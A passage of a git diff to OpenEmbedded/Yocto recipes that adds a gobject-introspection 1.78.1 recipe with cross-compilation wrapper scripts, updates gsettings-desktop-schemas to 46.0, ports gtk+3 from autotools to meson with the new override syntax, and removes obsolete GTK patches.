- rm -f ${PKGD}${bindir}/g-ir-scanner-lddwrapper
-}
-
-SSTATE_SCAN_FILES += "g-ir-scanner-qemuwrapper g-ir-scanner-wrapper g-ir-compiler-wrapper g-ir-scanner-lddwrapper Gio-2.0.gir postinst-ldsoconf-${PN}"
-
-# .typelib files are needed at runtime and so they go to the main package
-FILES_${PN}_append = " ${libdir}/girepository-*/*.typelib"
-
-# .gir files go to dev package, as they're needed for developing (but not for running)
-# things that depends on introspection.
-FILES_${PN}-dev_append = " ${datadir}/gir-*/*.gir ${libdir}/gir-*/*.gir"
-FILES_${PN}-dev_append = " ${datadir}/gir-*/*.rnc"
-
-# These are used by gobject-based packages
-# to generate transient introspection binaries
-FILES_${PN}-dev_append = " ${datadir}/gobject-introspection-1.0/gdump.c \
- ${datadir}/gobject-introspection-1.0/Makefile.introspection"
-
-# These are used by dependent packages (e.g. pygobject) to build their
-# testsuites.
-FILES_${PN}-dev_append = " ${datadir}/gobject-introspection-1.0/tests/*.c \
- ${datadir}/gobject-introspection-1.0/tests/*.h"
-
-FILES_${PN}-dbg += "${libdir}/gobject-introspection/giscanner/.debug/"
-FILES_${PN}-staticdev += "${libdir}/gobject-introspection/giscanner/*.a"
-
-RDEPENDS_${PN} = "python3-pickle python3-xml"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.78.1.bb b/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.78.1.bb
new file mode 100644
index 0000000000..05a08a50e0
--- /dev/null
+++ b/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.78.1.bb
@@ -0,0 +1,194 @@
+SUMMARY = "Middleware layer between GObject-using C libraries and language bindings"
+DESCRIPTION = "GObject Introspection is a project for providing machine \
+readable introspection data of the API of C libraries. This introspection \
+data can be used in several different use cases, for example automatic code \
+generation for bindings, API verification and documentation generation."
+HOMEPAGE = "https://wiki.gnome.org/action/show/Projects/GObjectIntrospection"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/gobject-introspection/issues"
+SECTION = "libs"
+LICENSE = "LGPL-2.0-or-later & GPL-2.0-or-later & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c434e8128a68bedd59b80b2ac1eb1c4a \
+ file://tools/compiler.c;endline=20;md5=fc5007fc20022720e6c0b0cdde41fabd \
+ file://giscanner/sourcescanner.c;endline=22;md5=194d6e0c1d00662f32d030ce44de8d39 \
+ file://girepository/giregisteredtypeinfo.c;endline=21;md5=661847611ae6979465415f31a759ba27 \
+ "
+
+SRC_URI = "${GNOME_MIRROR}/${BPN}/${@oe.utils.trim_version("${PV}", 2)}/${BPN}-${PV}.tar.xz \
+ "
+
+SRC_URI[sha256sum] = "bd7babd99af7258e76819e45ba4a6bc399608fe762d83fde3cac033c50841bb4"
+
+SRC_URI:append:class-native = " file://0001-Relocate-the-repository-directory-for-native-builds.patch"
+
+inherit meson pkgconfig gtk-doc python3targetconfig qemu gobject-introspection-data upstream-version-is-even multilib_script
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+MULTILIB_SCRIPTS = "${PN}:${bindir}/g-ir-annotation-tool ${PN}:${bindir}/g-ir-scanner"
+
+DEPENDS += " libffi zlib glib-2.0 python3 flex-native bison-native"
+
+# target build needs qemu to run temporary introspection binaries created
+# on the fly by g-ir-scanner and a native version of itself to run
+# native versions of its own tools during build.
+DEPENDS:append:class-target = " gobject-introspection-native qemu-native"
+
+# needed for writing out the qemu wrapper script
+export STAGING_DIR_HOST
+export B
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG[doctool] = "-Ddoctool=enabled,-Ddoctool=disabled,python3-mako,"
+
+# Configure target build to use native tools of itself and to use a qemu wrapper
+# and optionally to generate introspection data
+EXTRA_OEMESON:class-target = " \
+ -Dgi_cross_use_prebuilt_gi=true \
+ -Dgi_cross_binary_wrapper=${B}/g-ir-scanner-qemuwrapper \
+ -Dgi_cross_ldd_wrapper=${B}/g-ir-scanner-lddwrapper \
+ -Dgi_cross_pkgconfig_sysroot_path=${PKG_CONFIG_SYSROOT_DIR} \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-Dbuild_introspection_data=true', '-Dbuild_introspection_data=false', d)} \
+ ${@'-Dgir_dir_prefix=${libdir}' if d.getVar('MULTILIBS') else ''} \
+"
+
+do_configure:prepend:class-native() {
+ # Tweak the native python scripts so that they don't refer to the
+ # full path of native python binary (the solution is taken from glib-2.0 recipe)
+ # This removes the risk of exceeding Linux kernel's shebang line limit (128 bytes)
+ sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/tools/g-ir-tool-template.in
+}
+
+do_configure:prepend:class-target() {
+ # Write out a qemu wrapper that will be given to gi-scanner so that it
+ # can run target helper binaries through that.
+ qemu_binary="${@qemu_wrapper_cmdline(d, '$STAGING_DIR_HOST', ['\\$GIR_EXTRA_LIBS_PATH','.libs','$STAGING_DIR_HOST/${libdir}','$STAGING_DIR_HOST/${base_libdir}'])}"
+ cat > ${B}/g-ir-scanner-qemuwrapper << EOF
+#!/bin/sh
+# Use a modules directory which doesn't exist so we don't load random things
+# which may then get deleted (or their dependencies) and potentially segfault
+export GIO_MODULE_DIR=${STAGING_LIBDIR}/gio/modules-dummy
+
+$qemu_binary "\$@"
+if [ \$? -ne 0 ]; then
+ echo "If the above error message is about missing .so libraries, then setting up GIR_EXTRA_LIBS_PATH in the recipe should help."
+ echo "(typically like this: GIR_EXTRA_LIBS_PATH=\"$""{B}/something/.libs\" )"
+ exit 1
+fi
+EOF
+ chmod +x ${B}/g-ir-scanner-qemuwrapper
+
+ # Write out a wrapper for g-ir-scanner itself, which will be used when building introspection files
+ # for glib-based packages. This wrapper calls the native version of the scanner, and tells it to use
+ # a qemu wrapper for running transient target binaries produced by the scanner, and an include directory
+ # from the target sysroot.
+ cat > ${B}/g-ir-scanner-wrapper << EOF
+#!/bin/sh
+# This prevents g-ir-scanner from writing cache data to user's HOME dir
+export GI_SCANNER_DISABLE_CACHE=1
+
+g-ir-scanner --lib-dirs-envvar=GIR_EXTRA_LIBS_PATH --use-binary-wrapper=${STAGING_BINDIR}/g-ir-scanner-qemuwrapper --use-ldd-wrapper=${STAGING_BINDIR}/g-ir-scanner-lddwrapper --add-include-path=${STAGING_DATADIR}/gir-1.0 --add-include-path=${STAGING_LIBDIR}/gir-1.0 "\$@"
+EOF
+ chmod +x ${B}/g-ir-scanner-wrapper
+
+ # Write out a wrapper for g-ir-compiler, which runs the target version of it through qemu.
+ # g-ir-compiler writes out the raw content of a C struct to disk, and therefore is architecture dependent.
+ cat > ${B}/g-ir-compiler-wrapper << EOF
+#!/bin/sh
+${STAGING_BINDIR}/g-ir-scanner-qemuwrapper ${STAGING_BINDIR}/g-ir-compiler "\$@"
+EOF
+ chmod +x ${B}/g-ir-compiler-wrapper
+
+ # Write out a wrapper to use instead of ldd, which does not work when a binary is built
+ # for a different architecture
+ cat > ${B}/g-ir-scanner-lddwrapper << EOF
+#!/bin/sh
+\$OBJDUMP -p "\$@"
+EOF
+ chmod +x ${B}/g-ir-scanner-lddwrapper
+
+ # Also tweak the target python scripts so that they don't refer to the
+ # native version of python binary (the solution is taken from glib-2.0 recipe)
+ sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/tools/g-ir-tool-template.in
+}
+
+do_compile:prepend() {
+ # Needed to run g-ir unit tests, which won't be able to find the built libraries otherwise
+ export GIR_EXTRA_LIBS_PATH=$B/.libs
+}
+
+do_install:prepend() {
+ # This prevents g-ir-scanner from writing cache data to $HOME
+ export GI_SCANNER_DISABLE_CACHE=1
+}
+
+# Our wrappers need to be available system-wide, because they will be used
+# to build introspection files for all other gobject-based packages
+do_install:append:class-target() {
+ install -d ${D}${bindir}/
+ install ${B}/g-ir-scanner-qemuwrapper ${D}${bindir}/
+ install ${B}/g-ir-scanner-wrapper ${D}${bindir}/
+ install ${B}/g-ir-compiler-wrapper ${D}${bindir}/
+ install ${B}/g-ir-scanner-lddwrapper ${D}${bindir}/
+}
+
+# we need target versions of introspection tools in sysroot so that they can be run via qemu
+# when building introspection files in other packages
+SYSROOT_DIRS:append:class-target = " ${bindir}"
+
+SYSROOT_PREPROCESS_FUNCS:append:class-target = " gi_binaries_sysroot_preprocess"
+gi_binaries_sysroot_preprocess() {
+ # Tweak the binary names in the introspection pkgconfig file, so that it
+ # picks up our wrappers which do the cross-compile and qemu magic.
+ sed -i \
+ -e "s|g_ir_scanner=.*|g_ir_scanner=${bindir}/g-ir-scanner-wrapper|" \
+ -e "s|g_ir_compiler=.*|g_ir_compiler=${bindir}/g-ir-compiler-wrapper|" \
+ ${SYSROOT_DESTDIR}${libdir}/pkgconfig/gobject-introspection-1.0.pc
+}
+
+SYSROOT_PREPROCESS_FUNCS:append = " gi_ldsoconf_sysroot_preprocess"
+gi_ldsoconf_sysroot_preprocess () {
+ mkdir -p ${SYSROOT_DESTDIR}${bindir}
+ dest=${SYSROOT_DESTDIR}${bindir}/postinst-ldsoconf-${PN}
+ echo "#!/bin/sh" > $dest
+ echo "mkdir -p ${STAGING_DIR_TARGET}${sysconfdir}" >> $dest
+ echo "echo ${base_libdir} >> ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf" >> $dest
+ echo "echo ${libdir} >> ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf" >> $dest
+ chmod 755 $dest
+}
+
+# Remove wrapper files from the package, only used for cross-compiling
+PACKAGE_PREPROCESS_FUNCS += "gi_package_preprocess"
+gi_package_preprocess() {
+ rm -f ${PKGD}${bindir}/g-ir-scanner-qemuwrapper
+ rm -f ${PKGD}${bindir}/g-ir-scanner-wrapper
+ rm -f ${PKGD}${bindir}/g-ir-compiler-wrapper
+ rm -f ${PKGD}${bindir}/g-ir-scanner-lddwrapper
+}
+
+SSTATE_SCAN_FILES += "g-ir-scanner-qemuwrapper g-ir-scanner-wrapper g-ir-compiler-wrapper g-ir-scanner-lddwrapper Gio-2.0.gir postinst-ldsoconf-${PN}"
+
+# .typelib files are needed at runtime and so they go to the main package
+FILES:${PN}:append = " ${libdir}/girepository-*/*.typelib"
+
+# .gir files go to dev package, as they're needed for developing (but not for running)
+# things that depends on introspection.
+FILES:${PN}-dev:append = " ${datadir}/gir-*/*.gir ${libdir}/gir-*/*.gir"
+FILES:${PN}-dev:append = " ${datadir}/gir-*/*.rnc"
+
+# These are used by gobject-based packages
+# to generate transient introspection binaries
+FILES:${PN}-dev:append = " ${datadir}/gobject-introspection-1.0/gdump.c \
+ ${datadir}/gobject-introspection-1.0/Makefile.introspection"
+
+# These are used by dependent packages (e.g. pygobject) to build their
+# testsuites.
+FILES:${PN}-dev:append = " ${datadir}/gobject-introspection-1.0/tests/*.c \
+ ${datadir}/gobject-introspection-1.0/tests/*.h"
+
+FILES:${PN}-dbg += "${libdir}/gobject-introspection/giscanner/.debug/"
+FILES:${PN}-staticdev += "${libdir}/gobject-introspection/giscanner/*.a"
+
+# setuptools can be removed when upstream removes all uses of distutils
+RDEPENDS:${PN} = "python3-pickle python3-xml python3-setuptools"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas/0001-Do-not-skip-gir-installation-for-cross-compiling.patch b/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas/0001-Do-not-skip-gir-installation-for-cross-compiling.patch
deleted file mode 100644
index c481b18f1c..0000000000
--- a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas/0001-Do-not-skip-gir-installation-for-cross-compiling.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 42e58c4c3e95a4a78ee8294f9b3901726bbbabe4 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@gmail.com>
-Date: Sat, 11 May 2019 00:21:11 +0200
-Subject: [PATCH] Do not skip gir installation for cross compiling
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-We are cool and can handle cross gobject-introspection.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
----
- headers/meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/headers/meson.build b/headers/meson.build
-index 3ce8b61..1132695 100644
---- a/headers/meson.build
-+++ b/headers/meson.build
-@@ -19,7 +19,7 @@ enums_xml = custom_target(
- install: true,
- install_dir: schemasdir)
-
--if not meson.is_cross_build() and get_option('introspection')
-+if get_option('introspection')
- noinst_lib = shared_library('noinst',
- headers,
- install: false)
---
-2.20.1
-
diff --git a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_3.36.1.bb b/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_3.36.1.bb
deleted file mode 100644
index f54b242e73..0000000000
--- a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_3.36.1.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "GNOME desktop-wide GSettings schemas"
-DESCRIPTION = "GSettings desktop-wide schemas contains a collection of \
-GSettings schemas for settings shared by various components of a desktop."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas/issues"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-DEPENDS = "glib-2.0"
-
-GNOMEBASEBUILDCLASS = "meson"
-
-inherit gnomebase gsettings gobject-introspection gettext upstream-version-is-even
-
-SRC_URI[archive.md5sum] = "708ddd8dec388ebda5539667604197c3"
-SRC_URI[archive.sha256sum] = "004bdbe43cf8290f2de7d8537e14d8957610ca479a4fa368e34dbd03f03ec9d9"
-SRC_URI += "file://0001-Do-not-skip-gir-installation-for-cross-compiling.patch"
diff --git a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_46.0.bb b/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_46.0.bb
new file mode 100644
index 0000000000..8260c3d357
--- /dev/null
+++ b/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_46.0.bb
@@ -0,0 +1,15 @@
+SUMMARY = "GNOME desktop-wide GSettings schemas"
+DESCRIPTION = "GSettings desktop-wide schemas contains a collection of \
+GSettings schemas for settings shared by various components of a desktop."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas/issues"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS = "glib-2.0"
+
+
+inherit gnomebase gsettings gobject-introspection gettext
+
+SRC_URI[archive.sha256sum] = "493a46a1161b6388d57aa72f632a79ce96c42d5ffbd1d0b00f496ec5876f8575"
diff --git a/meta/recipes-gnome/gtk+/gtk+3.inc b/meta/recipes-gnome/gtk+/gtk+3.inc
index 8d5edb7ee8..e1603b43fc 100644
--- a/meta/recipes-gnome/gtk+/gtk+3.inc
+++ b/meta/recipes-gnome/gtk+/gtk+3.inc
@@ -6,65 +6,48 @@ HOMEPAGE = "http://www.gtk.org"
BUGTRACKER = "https://bugzilla.gnome.org/"
SECTION = "libs"
-DEPENDS = "glib-2.0 cairo pango atk jpeg libpng gdk-pixbuf \
- gdk-pixbuf-native"
+DEPENDS = "glib-2.0 cairo pango atk jpeg libpng gdk-pixbuf gdk-pixbuf-native"
-LICENSE = "LGPLv2 & LGPLv2+ & LGPLv2.1+"
+LICENSE = "LGPL-2.0-only & LGPL-2.0-or-later & LGPL-2.1-or-later"
-inherit autotools gettext pkgconfig gtk-doc update-alternatives gtk-immodules-cache gsettings features_check gobject-introspection
+inherit meson gettext pkgconfig gtk-doc update-alternatives gtk-immodules-cache gsettings features_check gobject-introspection
BBCLASSEXTEND = "native nativesdk"
-GSETTINGS_PACKAGE_class-native = ""
+GSETTINGS_PACKAGE:class-native = ""
# versions >= 3.90 are development versions, otherwise like upstream-version-is-even
UPSTREAM_CHECK_REGEX = "[^\d\.](?P<pver>3\.([1-8]?[02468])+(\.\d+)+)\.tar"
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-# This should be in autotools.bbclass, but until something elses uses it putting
-# it here avoids rebuilding everything.
-export PKG_CONFIG_FOR_BUILD = "${STAGING_BINDIR_NATIVE}/pkg-config-native"
-
-do_configure_prepend() {
- # Do this because the configure script is running ./libtool directly
- rm -f libtool
- ln -s ${TARGET_PREFIX}libtool libtool
- #delete a file that will get confused with generated one in ${B}
- rm -f ${S}/gtk/gtktypefuncs.c
-
+do_configure:prepend() {
# These files are generated by wayland-scanner but will race over modification
# time between the copies in the sysroot from wayland-protocols and the copy
# in the source tree. Solve the race by deleting so they need to be regenerated.
- # 3.24.22 will not be shipping these files so this can be deleted then:
- # https://gitlab.gnome.org/GNOME/gtk/-/merge_requests/2183
- rm -f ${S}/modules/input/text-input-unstable-v3*.[ch]
+ rm -f ${S}/modules/input/*-text-input-*.[ch]
}
-EXTRA_OECONF += " \
- --disable-glibtest \
- --disable-xinerama \
- --enable-modules \
- ${@bb.utils.contains("DISTRO_FEATURES", "x11", "", "--disable-gtk-doc", d)} \
- "
+GTKDOC_MESON_OPTION = 'gtk_doc'
-do_compile_prepend() {
- export GIR_EXTRA_LIBS_PATH="${B}/gdk/.libs"
-}
+EXTRA_OEMESON = "-Dxinerama=no -Dtests=false"
+EXTRA_OEMESON:append:class-native = " -Ddemos=false -Dexamples=false"
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'opengl wayland x11', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl x11', 'glx', '', d)}"
-PACKAGECONFIG_class-native = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
-PACKAGECONFIG_class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
+PACKAGECONFIG ??= " \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'opengl x11', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl wayland', 'wayland', '', d)} \
+"
+PACKAGECONFIG:class-native = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
+PACKAGECONFIG:class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
-PACKAGECONFIG[x11] = "--enable-x11-backend,--disable-x11-backend,at-spi2-atk fontconfig libx11 libxext libxcursor libxi libxdamage libxrandr libxrender libxcomposite libxfixes"
+PACKAGECONFIG[x11] = "-Dx11_backend=true,-Dx11_backend=false,at-spi2-atk fontconfig libx11 libxext libxcursor libxi libxdamage libxrandr libxrender libxcomposite libxfixes"
# this is provided by oe-core patch that removes epoxy/gl dependency from a X11 build
-PACKAGECONFIG[opengl] = "--enable-opengl,--disable-opengl,libepoxy"
-PACKAGECONFIG[glx] = "--enable-glx,--disable-glx,,libgl"
-PACKAGECONFIG[wayland] = "--enable-wayland-backend,--disable-wayland-backend,wayland wayland-protocols libxkbcommon virtual/egl virtual/libgles2 wayland-native"
-PACKAGECONFIG[cups] = "--enable-cups,--disable-cups,cups"
-PACKAGECONFIG[cloudprint] = "--enable-cloudprint,--disable-cloudprint,rest json-glib"
-PACKAGECONFIG[colord] = "--enable-colord,--disable-colord,colord"
+PACKAGECONFIG[opengl] = "-Dopengl=true,-Dopengl=false,libepoxy"
+PACKAGECONFIG[wayland] = "-Dwayland_backend=true,-Dwayland_backend=false,wayland wayland-protocols libxkbcommon virtual/egl virtual/libgles2 wayland-native"
+PACKAGECONFIG[cups] = ",,cups,cups gtk3-printbackend-cups"
+PACKAGECONFIG[colord] = "-Dcolord=yes,-Dcolord=no,colord"
+PACKAGECONFIG[cloudproviders] = "-Dcloudproviders=true,-Dcloudproviders=false,libcloudproviders"
+PACKAGECONFIG[tracker3] = "-Dtracker3=true,-Dtracker3=false,tracker,tracker-miners"
prepare_gtk_scripts() {
mv ${D}${bindir}/gtk-update-icon-cache ${D}${bindir}/gtk-update-icon-cache-3.0
@@ -74,15 +57,15 @@ prepare_gtk_scripts() {
ln ${D}${bindir}/gtk-query-immodules-3.0 ${D}${libexecdir}/${MLPREFIX}gtk-query-immodules-3.0
}
-do_install_append_class-target() {
+do_install:append:class-target() {
prepare_gtk_scripts
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
prepare_gtk_scripts
}
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}/${bindir}/gtk-update-icon-cache \
GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/2.10.0/loaders.cache
create_wrapper ${D}/${bindir}/gtk-encode-symbolic-svg \
@@ -93,7 +76,7 @@ PROVIDES += "gtk-icon-utils"
PACKAGES =+ "${PN}-demo"
LIBV = "3.0.0"
-FILES_${PN}-demo = "${bindir}/gtk3-demo \
+FILES:${PN}-demo = "${bindir}/gtk3-demo \
${bindir}/gtk3-demo-application \
${bindir}/gtk3-icon-browser \
${bindir}/gtk3-widget-factory \
@@ -104,14 +87,15 @@ FILES_${PN}-demo = "${bindir}/gtk3-demo \
${datadir}/icons/hicolor/*/apps/gtk3-demo*.png \
${datadir}/icons/hicolor/*/apps/gtk3-widget-factory*.png"
-FILES_${PN}_append = " ${bindir}/gtk-update-icon-cache-3.0 \
+FILES:${PN}:append = " ${bindir}/gtk-update-icon-cache-3.0 \
${bindir}/gtk-query-immodules-3.0 \
${bindir}/gtk-launch \
- ${datadir}/themes ${sysconfdir} ${datadir}/glib-2.0/schemas/ \
+ ${datadir}/themes ${datadir}/gtk-3.0/emoji \
+ ${sysconfdir} ${datadir}/glib-2.0/schemas/ \
${libdir}/gtk-3.0/${LIBV}/engines/libpixmap.so \
${libdir}/gtk-3.0/modules/*.so"
-FILES_${PN}-dev += " \
+FILES:${PN}-dev += " \
${datadir}/gtk-3.0/gtkbuilder.rng \
${datadir}/gtk-3.0/include \
${datadir}/gtk-3.0/valgrind \
@@ -137,22 +121,22 @@ GTKBASE_RRECOMMENDS ?= "liberation-fonts \
adwaita-icon-theme-symbolic \
"
-GTKBASE_RRECOMMENDS_class-native ?= "\
+GTKBASE_RRECOMMENDS:class-native ?= "\
"
GTKGLIBC_RRECOMMENDS ?= "${GTKBASE_RRECOMMENDS} glibc-gconv-iso8859-1"
-RRECOMMENDS_${PN} = "${GTKBASE_RRECOMMENDS}"
-RRECOMMENDS_${PN}_libc-glibc = "${GTKGLIBC_RRECOMMENDS}"
-RDEPENDS_${PN}-dev += "${@bb.utils.contains("PACKAGECONFIG", "wayland", "wayland-protocols", "", d)}"
+RRECOMMENDS:${PN} = "${GTKBASE_RRECOMMENDS}"
+RRECOMMENDS:${PN}:libc-glibc = "${GTKGLIBC_RRECOMMENDS}"
+RDEPENDS:${PN}-dev += "${@bb.utils.contains("PACKAGECONFIG", "wayland", "wayland-protocols", "", d)}"
PACKAGES_DYNAMIC += "^gtk3-immodule-.* ^gtk3-printbackend-.*"
-ALTERNATIVE_${PN} = "gtk-update-icon-cache"
+ALTERNATIVE:${PN} = "gtk-update-icon-cache"
ALTERNATIVE_TARGET[gtk-update-icon-cache] = "${bindir}/gtk-update-icon-cache-3.0"
ALTERNATIVE_PRIORITY = "30"
-python populate_packages_prepend () {
+python populate_packages:prepend () {
import os.path
gtk_libdir = d.expand('${libdir}/gtk-3.0/${LIBV}')
@@ -166,5 +150,5 @@ python populate_packages_prepend () {
do_split_packages(d, printmodules_root, r'^libprintbackend-(.*)\.so$', 'gtk3-printbackend-%s', 'GTK printbackend module for %s')
if (d.getVar('DEBIAN_NAMES')):
- d.setVar(d.expand('PKG_${PN}'), '${MLPREFIX}libgtk-3.0')
+ d.setVar(d.expand('PKG:${PN}'), '${MLPREFIX}libgtk-3.0')
}
diff --git a/meta/recipes-gnome/gtk+/gtk+3/0001-Hardcoded-libtool.patch b/meta/recipes-gnome/gtk+/gtk+3/0001-Hardcoded-libtool.patch
deleted file mode 100644
index c210bbc7d5..0000000000
--- a/meta/recipes-gnome/gtk+/gtk+3/0001-Hardcoded-libtool.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 0ecaa5bab162abf0cb2057d77beeb7b89d5873b4 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Tue, 21 Jun 2016 14:53:56 +0300
-Subject: [PATCH 1/4] Hardcoded libtool
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- configure.ac | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 6628e21..f43ac09 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -617,7 +617,7 @@ AC_MSG_CHECKING([whether to write dependencies into .pc files])
- case $enable_explicit_deps in
- auto)
- export SED
-- deplibs_check_method=`(./libtool --config; echo 'eval echo \"$deplibs_check_method\"') | sh`
-+ deplibs_check_method=`(./$host_alias-libtool --config; echo 'eval echo \"$deplibs_check_method\"') | sh`
- if test "x$deplibs_check_method" != xpass_all || test "x$enable_static" = xyes ; then
- enable_explicit_deps=yes
- else
-@@ -895,7 +895,7 @@ else
- dnl Now we check to see if our libtool supports shared lib deps
- dnl (in a rather ugly way even)
- if $dynworks; then
-- module_libtool_config="${CONFIG_SHELL-/bin/sh} ./libtool --config"
-+ module_libtool_config="${CONFIG_SHELL-/bin/sh} ./$host_alias-libtool --config"
- module_deplibs_check=`$module_libtool_config | \
- grep '^[[a-z_]]*check[[a-z_]]*_method=[['\''"]]' | \
- sed 's/.*[['\''"]]\(.*\)[['\''"]]$/\1/'`
-@@ -1649,7 +1649,7 @@ AC_SUBST(GTK_PRINT_BACKENDS)
- # We are using gmodule-no-export now, but I'm leaving the stripping
- # code in place for now, since pango and atk still require gmodule.
- export SED
--export_dynamic=`(./libtool --config; echo eval echo \\$export_dynamic_flag_spec) | sh`
-+export_dynamic=`(./$host_alias-libtool --config; echo eval echo \\$export_dynamic_flag_spec) | sh`
- if test -n "$export_dynamic"; then
- GDK_DEP_LIBS=`echo $GDK_DEP_LIBS | sed -e "s/$export_dynamic//"`
- GTK_DEP_LIBS=`echo $GTK_DEP_LIBS | sed -e "s/$export_dynamic//"`
---
-2.12.0
-
diff --git a/meta/recipes-gnome/gtk+/gtk+3/0002-Do-not-try-to-initialize-GL-without-libGL.patch b/meta/recipes-gnome/gtk+/gtk+3/0002-Do-not-try-to-initialize-GL-without-libGL.patch
deleted file mode 100644
index 80dc2d7a05..0000000000
--- a/meta/recipes-gnome/gtk+/gtk+3/0002-Do-not-try-to-initialize-GL-without-libGL.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From 6575ab0f0e8c1bba033ad1616511e37a2ec995ff Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Fri, 16 Oct 2015 16:35:16 +0300
-Subject: [PATCH] Do not try to initialize GL without libGL
-
-_gdk_x11_screen_update_visuals_for_gl() will end up calling epoxys
-GLX api which will exit() if libGL.so.1 is not present. We do not
-want that to happen and we don't want every app to have to set
-"GDK_GL=disabled" environment variable: so use #ifdef set based on
-opengl distro feature.
-
-Upstream is not interested in the fix as it is: Either epoxy should be
-fixed (to not exit) or GTK+ possibly could do some additional probing
-before calling epoxy APIs.
-
-Upstream-Status: Denied
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-
----
- configure.ac | 6 ++++++
- gdk/x11/gdkvisual-x11.c | 5 +++++
- 2 files changed, 11 insertions(+)
-
-diff --git a/configure.ac b/configure.ac
-index e9f5583..bd651bb 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -346,6 +346,12 @@ AC_ARG_ENABLE(cloudproviders,
- [AS_HELP_STRING([--enable-cloudproviders],
- [enable libcloudproviders integration])],
- [cloudproviders_set=yes])
-+AC_ARG_ENABLE(glx,
-+ [AS_HELP_STRING([--enable-glx],
-+ [When enabled Gdk will try to initialize GLX])])
-+AS_IF([test "x$enable_glx" != "xno"], [
-+ AC_DEFINE([HAVE_GLX], [], [GLX will be available at runtime])
-+])
-
- AC_ARG_ENABLE(profiler,
- [AS_HELP_STRING([--enable-profiler],
-diff --git a/gdk/x11/gdkvisual-x11.c b/gdk/x11/gdkvisual-x11.c
-index 81479d8..3c8c5c0 100644
---- a/gdk/x11/gdkvisual-x11.c
-+++ b/gdk/x11/gdkvisual-x11.c
-@@ -306,7 +306,12 @@ _gdk_x11_screen_init_visuals (GdkScreen *screen)
- /* If GL is available we want to pick better default/rgba visuals,
- as we care about glx details such as alpha/depth/stencil depth,
- stereo and double buffering */
-+ /* update_visuals_for_gl() will end up calling epoxy GLX api which
-+ will exit if libgl is not there: so only do this if we know GL
-+ is available */
-+#ifdef HAVE_GLX
- _gdk_x11_screen_update_visuals_for_gl (screen);
-+#endif
- }
-
- gint
diff --git a/meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch b/meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch
deleted file mode 100644
index 398c9bc36a..0000000000
--- a/meta/recipes-gnome/gtk+/gtk+3/0003-Add-disable-opengl-configure-option.patch
+++ /dev/null
@@ -1,872 +0,0 @@
-From f83fcf1991afad6d9c15546b2ccd775dad4e314c Mon Sep 17 00:00:00 2001
